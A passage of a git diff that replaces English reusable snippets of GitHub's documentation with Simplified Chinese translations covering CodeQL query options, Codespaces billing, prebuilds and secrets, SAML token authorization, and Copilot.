{% data variables.product.prodname_codeql %} 分析使用默认的查询集,但除了默认查询外,您还可以指定更多的查询来运行。 -{% ifversion code-scanning-exclude-queries-from-analysis %} -{% tip %} +{% ifversion codeql-packs %} 如果它们是发布到 {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} 的 {% data variables.product.prodname_codeql %} 包(beta 版本)或存储在存储库中的 {% data variables.product.prodname_ql %} 包的一部分,则可以运行额外的查询。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_code_scanning %} 和 {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)。” -You can also specify the queries you want to exclude from analysis, or include in the analysis. This requires the use of a custom configuration file. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)" and "[Excluding specific queries from analysis](#excluding-specific-queries-from-analysis) " below. +可用于指定要运行的其他查询的选项有: -{% endtip %} +- `packs`,可安装一个或多个 {% data variables.product.prodname_codeql %} 查询包(beta 版本)并为这些包运行默认查询套件或查询。 +- `queries`,可指定单个 .ql 文件、包含多个 .ql 文件的目录、.qls 查询套件定义文件或任意组合 。 有关查询套件定义的详细信息,请参阅“[创建 {% data variables.product.prodname_codeql %} 查询套件](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/)”。 + +可以在同一工作流中同时使用 `packs` 和 `queries`。 +{% else %} 要运行的任何其他查询都必须属于存储库中的 {% data variables.product.prodname_ql %} 包。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_code_scanning %} 和 {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)。” + +可指定单个 .ql 文件、包含多个 .ql 文件的目录、.qls 查询套件定义文件或任意组合 。 有关查询套件定义的详细信息,请参阅“[创建 {% data variables.product.prodname_codeql %} 查询套件](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/)”。 {% endif %} -{% ifversion codeql-packs %} -You can run extra queries if they are part of a {% data variables.product.prodname_codeql %} pack (beta) published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} or a {% data variables.product.prodname_ql %} pack stored in a repository. For more information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)." - -The options available to specify the additional queries you want to run are: - -- `packs` to install one or more {% data variables.product.prodname_codeql %} query packs (beta) and run the default query suite or queries for those packs. -- `queries` to specify a single _.ql_ file, a directory containing multiple _.ql_ files, a _.qls_ query suite definition file, or any combination. For more information about query suite definitions, see "[Creating {% data variables.product.prodname_codeql %} query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/)." - -You can use both `packs` and `queries` in the same workflow. -{% else %} -Any additional queries you want to run must belong to a {% data variables.product.prodname_ql %} pack in a repository. For more information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)." - -You can specify a single _.ql_ file, a directory containing multiple _.ql_ files, a _.qls_ query suite definition file, or any combination. For more information about query suite definitions, see "[Creating {% data variables.product.prodname_codeql %} query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/)." -{% endif %} - -{% ifversion fpt or ghec %}We don't recommend referencing query suites directly from the `github/codeql` repository, for example, `github/codeql/cpp/ql/src@main`. Such queries would have to be recompiled, and may not be compatible with the version of {% data variables.product.prodname_codeql %} currently active on {% data variables.product.prodname_actions %}, which could lead to errors during analysis.{% endif %} +{% ifversion fpt or ghec %} 不建议直接从 `github/codeql` 存储库引用查询套件,例如 `github/codeql/cpp/ql/src@main`。 此类查询必须重新编译,并且可能与 {% data variables.product.prodname_actions %} 上当前活动的 {% data variables.product.prodname_codeql %} 版本不兼容,这可能会导致分析过程中出错。{% endif %} diff --git a/translations/zh-CN/data/reusables/code-scanning/what-is-codeql-cli.md b/translations/zh-CN/data/reusables/code-scanning/what-is-codeql-cli.md index 2d4e1c65b1..f90d3356a1 100644 --- a/translations/zh-CN/data/reusables/code-scanning/what-is-codeql-cli.md +++ b/translations/zh-CN/data/reusables/code-scanning/what-is-codeql-cli.md @@ -1 +1,9 @@ -The {% data variables.product.prodname_codeql_cli %} is a standalone product that you can use to analyze code. Its main purpose is to generate a database representation of a codebase, a {% data variables.product.prodname_codeql %} database. Once the database is ready, you can query it interactively, or run a suite of queries to generate a set of results in SARIF format and upload the results to {% data variables.location.product_location %}. +--- +ms.openlocfilehash: ec454deef6771dc385435a4148e5e095acfc1659 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098765" +--- +{% data variables.product.prodname_codeql_cli %} 是一个可用来分析代码的独立产品。 其主要用途是生成代码空间的数据库表示形式,即 {% data variables.product.prodname_codeql %} 数据库。 数据库准备就绪后,您可以进行交互式查询,或者运行一系列查询以生成一组 SARIF 格式的结果,然后将结果上传到 {% data variables.product.product_location %}。 diff --git a/translations/zh-CN/data/reusables/codespaces/about-billing-for-codespaces.md b/translations/zh-CN/data/reusables/codespaces/about-billing-for-codespaces.md new file mode 100644 index 0000000000..8273812dda --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/about-billing-for-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3de449735936e0c57ec761f2150a65f6f8e82a48 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098758" +--- +{% data variables.product.prodname_codespaces %} 在测试期间可免费使用。 当 {% data variables.product.prodname_codespaces %} 公开发布时,将按存储和计算使用情况计费。 diff --git a/translations/zh-CN/data/reusables/codespaces/about-personalization.md b/translations/zh-CN/data/reusables/codespaces/about-personalization.md new file mode 100644 index 0000000000..7832659f85 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/about-personalization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0b395fb36a04591ddd428b79073e5673a5d2037d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098755" +--- +还可以使用 [dotfiles](https://dotfiles.github.io/tutorials/) 存储库和[设置同步](https://code.visualstudio.com/docs/editor/settings-sync)为创建的任何 codespace 个性化 codespace 环境的各个方面。 个性化可以包括 shell 首选项和其他工具。 diff --git a/translations/zh-CN/data/reusables/codespaces/apply-devcontainer-changes.md b/translations/zh-CN/data/reusables/codespaces/apply-devcontainer-changes.md new file mode 100644 index 0000000000..f7a7cd529c --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/apply-devcontainer-changes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 339f4e78f942e487f7a7671f744c7efccc5d90cb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147111344" +--- +在存储库的 {% data variables.product.prodname_github_codespaces %} 配置更改后,你可以通过重新生成 codespace 的容器来将更改应用于现有 codespace。 diff --git a/translations/zh-CN/data/reusables/codespaces/availability.md b/translations/zh-CN/data/reusables/codespaces/availability.md new file mode 100644 index 0000000000..b7e43b4ff6 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a3de9d113c573dfa117f3dbc1a57d731f1b9660a +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145098185" +--- +codespace 可用于使用 {% data variables.product.prodname_team %} 和 {% data variables.product.prodname_ghe_cloud %} 的组织拥有的存储库。 diff --git a/translations/zh-CN/data/reusables/codespaces/beta-functionality-limited.md b/translations/zh-CN/data/reusables/codespaces/beta-functionality-limited.md new file mode 100644 index 0000000000..356e625603 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/beta-functionality-limited.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 34becb2e16009b464954d664d1f0804180a06f08 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098752" +--- +在测试期间,功能是有限的。 +- {% data reusables.codespaces.use-chrome %} +- 只有一个大小的代码空间可用。 +- 只支持 Linux 容器。 +- 代码空间无法完全恢复。 代码空间停止时正在运行的进程将不会重新启动。 diff --git a/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-default.md b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-default.md new file mode 100644 index 0000000000..46a475db58 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-default.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0036dd5cf979531479a7ddf523c7475391b29c0a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147548006" +--- +默认情况下,每次创建或更新预生成或推送到启用预生成的分支时,都会触发 {% data variables.product.prodname_actions %} 工作流。 与其他工作流一样,虽然预生成工作流正在运行,但它们会消耗帐户中包含的一些 Actions 分钟数(如果有),或者它们会产生 Actions 分钟费用。 有关 Actions 分钟定价的详细信息,请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。 + +除了 {% data variables.product.prodname_actions %} 分钟数,还将针对与给定存储库和区域的每个预生成配置关联的预生成的存储计费。 预生成的存储按与 codespace 存储相同的费率计费。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-reducing.md b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-reducing.md new file mode 100644 index 0000000000..7dbb907d87 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds-reducing.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: efb9f234573525d8f24d4f0798379d38a8d8299e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881874" +--- +为了减少 Actions 分钟数的消耗,可将预生成设置为仅在对开发容器配置文件进行更改时更新,或者仅在自定义计划中进行更新。 还可通过调整为预生成配置保留的模板版本数来管理存储使用情况。 有关详细信息,请参阅“[配置预生成](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)”。 + +如果你是组织所有者,可通过下载组织的 {% data variables.product.prodname_actions %} 使用情况报告来跟踪预生成工作流和存储的使用情况。 可以通过筛选 CSV 输出来标识预生成工作流运行,以便仅包含名为“创建 {% data variables.product.prodname_codespaces %} 预生成”的工作流。 有关详细信息,请参阅“[查看 {% data variables.product.prodname_actions %} 使用情况](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-organization)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds.md b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds.md new file mode 100644 index 0000000000..1bb2172653 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/billing-for-prebuilds.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: c9d2391a85dd42db8eb3914b9c3495e0441e0fd0 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147061272" +--- +默认情况下,每次创建或更新预生成模板或推送到启用预生成的分支时,都会触发 {% data variables.product.prodname_actions %} 工作流。 与其他工作流一样,虽然预生成工作流正在运行,但它们会消耗帐户中包含的一些 Actions 分钟数(如果有),或者它们会产生 Actions 分钟费用。 有关 Actions 分钟定价的详细信息,请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。 + +除了 {% data variables.product.prodname_actions %} 分钟数,还将针对与给定存储库和区域的每个预生成配置关联的预生成模板的存储计费。 预生成模板的存储按与 codespace 存储相同的费率计费。 有关详细信息,请参阅“[计算存储使用量](#calculating-storage-usage)”。 + +为了减少 Actions 分钟数的消耗,可将预生成模板设置为仅在对开发容器配置文件进行更改时更新,或者仅在自定义计划中进行更新。 还可通过调整为预生成配置保留的模板版本数来管理存储使用情况。 有关详细信息,请参阅“[配置预生成](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)”。 + +如果你是组织所有者,可通过下载组织的 {% data variables.product.prodname_actions %} 使用情况报告来跟踪预生成工作流和存储的使用情况。 可以通过筛选 CSV 输出来标识预生成工作流运行,以便仅包含名为“创建代码空间预生成”的工作流。 有关详细信息,请参阅“[查看 {% data variables.product.prodname_actions %} 使用情况](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-organization)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/codespaces-api-beta-note.md b/translations/zh-CN/data/reusables/codespaces/codespaces-api-beta-note.md new file mode 100644 index 0000000000..b36a92119a --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/codespaces-api-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 955b4965f1937e437b0b2503a7cfbfa6bc207cbf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145098750" +--- +{% note %} + +注意:{% data variables.product.prodname_codespaces %} API 目前为公开 beta 版本,可能会有所变化。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/codespaces/codespaces-billing.md b/translations/zh-CN/data/reusables/codespaces/codespaces-billing.md new file mode 100644 index 0000000000..93a34628ab --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/codespaces-billing.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 845c770a8a03c57a4c10a84d28fd4d3d78282042 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147111120" +--- +{% data variables.product.prodname_codespaces %} 根据其计算和存储使用情况按美元计费。 + +### 计算计算使用情况 +计算使用情况定义为 {% data variables.product.prodname_github_codespaces %} 实例处于活动状态的运行时间总分钟数。 计算使用情况通过将所有 codespace 使用的实际分钟数相加来计算。 这些总数每天报告给计费服务,并按月计费。 + +运行时间通过停止 codespace 进行控制,可在开发人员指定的非活动期之后手动或自动完成。 有关详细信息,请参阅[关闭或停止 codespace](/codespaces/getting-started/deep-dive#closing-or-stopping-your-codespace)。 + +### 计算存储使用情况 +出于 {% data variables.product.prodname_github_codespaces %} 计费目的,这包括你帐户中所有 codespace 使用的所有存储空间。 这包括 codespace 使用的所有文件,例如克隆的存储库、配置文件和扩展等。 这些总数每天报告给计费服务,并按月计费。 到月底,{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 diff --git a/translations/zh-CN/data/reusables/codespaces/concurrent-codespace-limit.md b/translations/zh-CN/data/reusables/codespaces/concurrent-codespace-limit.md new file mode 100644 index 0000000000..228ee8f0e7 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/concurrent-codespace-limit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: be3aecc1721567682224cc541ee7976b83e382c8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147614461" +--- +每个仓库甚至每个分支可创建多个代码空间。 diff --git a/translations/zh-CN/data/reusables/codespaces/customize-vcpus-and-ram.md b/translations/zh-CN/data/reusables/codespaces/customize-vcpus-and-ram.md index b1d457d508..5b4242a742 100644 --- a/translations/zh-CN/data/reusables/codespaces/customize-vcpus-and-ram.md +++ b/translations/zh-CN/data/reusables/codespaces/customize-vcpus-and-ram.md @@ -1,5 +1,13 @@ -You can customize your codespace by adjusting the amount of vCPUs and RAM, adding dotfiles to personalize your environment, or by modifying the tools and scripts installed. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)." +--- +ms.openlocfilehash: 5f6285fe19915c3962b43cb45a26e65144607788 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062400" +--- +可以通过调整 vCPU 和 RAM 的数量、[添加点文件来个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或通过修改已安装的工具和脚本来自定义 codespace。 -{% data variables.product.prodname_github_codespaces %} uses a file called `devcontainer.json` to configure the development container that you use when you work in a codespace. Each repository can contain one or more `devcontainer.json` files, to give you exactly the development environment you need to work on your code in a codespace. +{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来配置在 codespace 中使用的开发容器。 每个存储库可以包含一个或多个 `devcontainer.json` 文件,以便准确提供在 codespace 中处理代码所需的开发环境。 -On launch, {% data variables.product.prodname_github_codespaces %} uses a `devcontainer.json` file, and any dependent files that make up the dev container configuration, to install tools and runtimes, and perform other setup tasks that the project requires. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." +启动时,{% data variables.product.prodname_codespaces %} 使用 `devcontainer.json` 文件以及构成开发容器配置的任何依赖文件来安装工具和运行时,以及执行项目所需的其他安装任务。 有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/next-steps-adding-devcontainer.md b/translations/zh-CN/data/reusables/codespaces/next-steps-adding-devcontainer.md index ee23417553..d3eb27cc18 100644 --- a/translations/zh-CN/data/reusables/codespaces/next-steps-adding-devcontainer.md +++ b/translations/zh-CN/data/reusables/codespaces/next-steps-adding-devcontainer.md @@ -1,3 +1,11 @@ -- [Managing encrypted secrets for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) -- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) +--- +ms.openlocfilehash: 4b537fdf284ed352b4dc508e384586f59d1876c0 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147060184" +--- +- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/zh-CN/data/reusables/codespaces/prebuilds-beta-note.md b/translations/zh-CN/data/reusables/codespaces/prebuilds-beta-note.md new file mode 100644 index 0000000000..d345637710 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/prebuilds-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c06ba31f23e54d5925b72a3e26472827e534bfbb +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098728" +--- +{% note %} + +**注意:** 预生成代码空间的功能目前为 beta 版本,可能会有变动。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/codespaces/prebuilds-crossreference.md b/translations/zh-CN/data/reusables/codespaces/prebuilds-crossreference.md index 1b6940d382..98706312b5 100644 --- a/translations/zh-CN/data/reusables/codespaces/prebuilds-crossreference.md +++ b/translations/zh-CN/data/reusables/codespaces/prebuilds-crossreference.md @@ -1 +1,9 @@ -To speed up codespace creation, repository administrators can enable {% data variables.product.prodname_github_codespaces %} prebuilds for a repository. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." +--- +ms.openlocfilehash: 63daa7be1d75c4c16c2720a0b59d5b45e3ac96f7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147110904" +--- +若要加快 codespace 的创建速度,存储库管理员可以为存储库启用 {% data variables.product.prodname_codespaces %} 预生成。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_github_codespaces %} 预生成](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/prebuilds-not-available.md b/translations/zh-CN/data/reusables/codespaces/prebuilds-not-available.md new file mode 100644 index 0000000000..86695ca134 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/prebuilds-not-available.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dc487e3958cbc830d60c99960a17052d371aba9c +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147060281" +--- +如果选择在创建 codespace 时从某个 `.devcontainer/SUBDIRECTORY` 位置使用 `devcontainer.json` 文件,则预生成不可用。 有关选择 `devcontainer.json` 文件的信息,请参阅“[创建 codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/review-pr.md b/translations/zh-CN/data/reusables/codespaces/review-pr.md new file mode 100644 index 0000000000..676554ba14 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/review-pr.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 4cab959b2e83eaa03edccec07cb3d410e4384465 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145066982" +--- +1. 在代码空间中打开拉取请求,如“[打开拉取请求](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)”中所述。 +2. 在活动栏中,单击“GitHub 拉取请求”视图。 仅当在代码空间中打开拉取请求时,才会显示此视图。 + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/github-pr-view.png) +3. 若要查看特定文件,请单击侧栏中的“打开文件”图标。 + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/changes-in-files.png) +4. 若要添审阅注释,请单击行号旁边的 + 图标。 键入审阅注释,然后单击“开始审阅”。 + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/start-review.png) +5. 添加完审阅注释后,你可以从侧栏中选择提交评论、批准更改或请求更改。 + ![用于在代码空间中打开 PR 的选项](/assets/images/help/codespaces/submit-review.png) diff --git a/translations/zh-CN/data/reusables/codespaces/secrets-on-start.md b/translations/zh-CN/data/reusables/codespaces/secrets-on-start.md index d3578c73e6..355e7bef15 100644 --- a/translations/zh-CN/data/reusables/codespaces/secrets-on-start.md +++ b/translations/zh-CN/data/reusables/codespaces/secrets-on-start.md @@ -1 +1,9 @@ -Once you have created a secret, it will be available when you create a new codespace or restart the codespace. To use a secret that you've just created in a current codespace, you will need to stop the codespace and resume it. For information about stopping the codespace, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)." +--- +ms.openlocfilehash: 2fb3580c8f1e17131be90846e72fde74c7cb2dac +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145130203" +--- +一旦创建了密码,便可以在创建新的代码空间或重新启动代码空间时使用它。 要使用刚刚在当前代码空间中创建的密码,您需要停止代码空间并恢复它。 有关停止代码空间的信息,请参阅“[在 {% data variables.product.prodname_codespaces %} 中使用命令面板](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。 diff --git a/translations/zh-CN/data/reusables/codespaces/unsupported-repos.md b/translations/zh-CN/data/reusables/codespaces/unsupported-repos.md new file mode 100644 index 0000000000..3f4b331bdc --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/unsupported-repos.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7476a406ef9a558e31055bad988253cff58a293e +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145129970" +--- +在测试阶段,不支持组织拥有的私有仓库或者组织拥有的需要 SAML 单点登录的任何仓库。 diff --git a/translations/zh-CN/data/reusables/codespaces/vscode-settings-order.md b/translations/zh-CN/data/reusables/codespaces/vscode-settings-order.md new file mode 100644 index 0000000000..ced5bc5a31 --- /dev/null +++ b/translations/zh-CN/data/reusables/codespaces/vscode-settings-order.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7a39531265a243476952b005a95823391501e16b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876134" +--- +配置 {% data variables.product.prodname_vscode_shortname %} 的编辑器设置时,有三个可用的范围:工作区、远程 [Codespaces] 和用户 。 如果某个设置在多个范围内定义,则优先顺序依次为“工作区”设置、“远程 [Codespaces]”、“用户” 。 diff --git a/translations/zh-CN/data/reusables/command_line/provide-an-access-token.md b/translations/zh-CN/data/reusables/command_line/provide-an-access-token.md index f2a89e69b4..d54a71437c 100644 --- a/translations/zh-CN/data/reusables/command_line/provide-an-access-token.md +++ b/translations/zh-CN/data/reusables/command_line/provide-an-access-token.md @@ -1 +1,9 @@ -{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML SSO{% ifversion pat-v2%} and you are using a {% data variables.product.pat_v1 %}{% endif %}, you must also authorize your {% data variables.product.pat_generic %} to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)" and "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)."{% endif %} +--- +ms.openlocfilehash: 0eae1b9c546c076ca089090e61080750f91e9dce +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129947" +--- +{% ifversion fpt or ghec %}如果要访问使用 SAML SSO 的组织,在进行身份验证之前,还必须授权个人访问令牌访问该组织。 有关详细信息,请参阅“[关于使用 SAML 单一登录进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”和“[授权用于 SAML 单一登录的个人访问令牌](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)。”{% endif %} diff --git a/translations/zh-CN/data/reusables/copilot/about-copilot.md b/translations/zh-CN/data/reusables/copilot/about-copilot.md new file mode 100644 index 0000000000..c8f056b669 --- /dev/null +++ b/translations/zh-CN/data/reusables/copilot/about-copilot.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 410f42fe3744309d9d0b404e7da493dbbcf8f306 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193238" +--- +{% data variables.product.prodname_copilot %} 是一种新的 AI 驱动的代码完成工具,可帮助你更快地编写代码。 {% data variables.product.prodname_copilot %} 可通过具有 {% data variables.product.prodname_copilot_for_individuals %} 的 {% data variables.product.prodname_dotcom %} 个人账户和具有 {% data variables.product.prodname_copilot_for_business %} 的 {% data variables.product.prodname_ghe_cloud %} 获得。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)”。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/copilot/copilot-prerequisites.md b/translations/zh-CN/data/reusables/copilot/copilot-prerequisites.md index 474fc8b7fa..8b6708e818 100644 --- a/translations/zh-CN/data/reusables/copilot/copilot-prerequisites.md +++ b/translations/zh-CN/data/reusables/copilot/copilot-prerequisites.md @@ -1,2 +1,10 @@ -- {% data variables.product.prodname_copilot %} is free to use for verified students, teachers, and open source maintainers. -- If you are not a student, teacher, or open source maintainer, you will need an active trial or subscription. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." +--- 